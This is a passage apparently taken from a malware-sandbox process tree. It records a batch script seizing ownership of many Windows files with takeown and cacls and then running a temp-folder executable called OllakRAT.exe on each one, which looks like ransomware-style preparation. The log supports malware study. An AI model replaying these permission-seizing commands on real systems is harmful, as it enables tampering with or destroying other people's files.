                                                                                                                                                                                                                                                                                                                                                                    takeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3876
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6004
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5916
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.66a48044-fbaa-4404-814f-3d55d2ecb0d9.1.etl""
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5108
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                            cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.66a48044-fbaa-4404-814f-3d55d2ecb0d9.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:3752
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                              takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.66a48044-fbaa-4404-814f-3d55d2ecb0d9.1.etl"
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                              PID:1616
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "MoUsoCoreWorker.66a48044-fbaa-4404-814f-3d55d2ecb0d9.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5700
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                  OllakRAT.exe -accepteula "MoUsoCoreWorker.66a48044-fbaa-4404-814f-3d55d2ecb0d9.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5132
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                  OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2236
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.80508b25-c1e2-4cf2-a19c-f2377a8d1da0.1.etl""
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4136
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.80508b25-c1e2-4cf2-a19c-f2377a8d1da0.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1324
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.80508b25-c1e2-4cf2-a19c-f2377a8d1da0.1.etl"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                        PID:420
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "WuProvider.80508b25-c1e2-4cf2-a19c-f2377a8d1da0.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1392
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula "WuProvider.80508b25-c1e2-4cf2-a19c-f2377a8d1da0.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4448
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:4712
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5852
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                cacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:4904
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5148
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "KnownGameList.bin" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4328
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula "KnownGameList.bin" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5872
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4776
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4376
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3668
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5088
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1952
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3240
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3980
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6084
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4224
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5436
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5068
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.ba7e8f66-c106-4e21-960c-9e4a132f45df.1.etl""
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:288
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    cacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.ba7e8f66-c106-4e21-960c-9e4a132f45df.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4820
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      takeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.ba7e8f66-c106-4e21-960c-9e4a132f45df.1.etl"
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5364
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "NotificationUxBroker.ba7e8f66-c106-4e21-960c-9e4a132f45df.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2536
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula "NotificationUxBroker.ba7e8f66-c106-4e21-960c-9e4a132f45df.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5420
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3780
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5704
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5268
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5360
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4544
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1280
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6036
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1832
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5824
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      takeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.15e08ab7-d0c8-4651-b0ee-2a124fe22b46.1.etl""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.15e08ab7-d0c8-4651-b0ee-2a124fe22b46.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
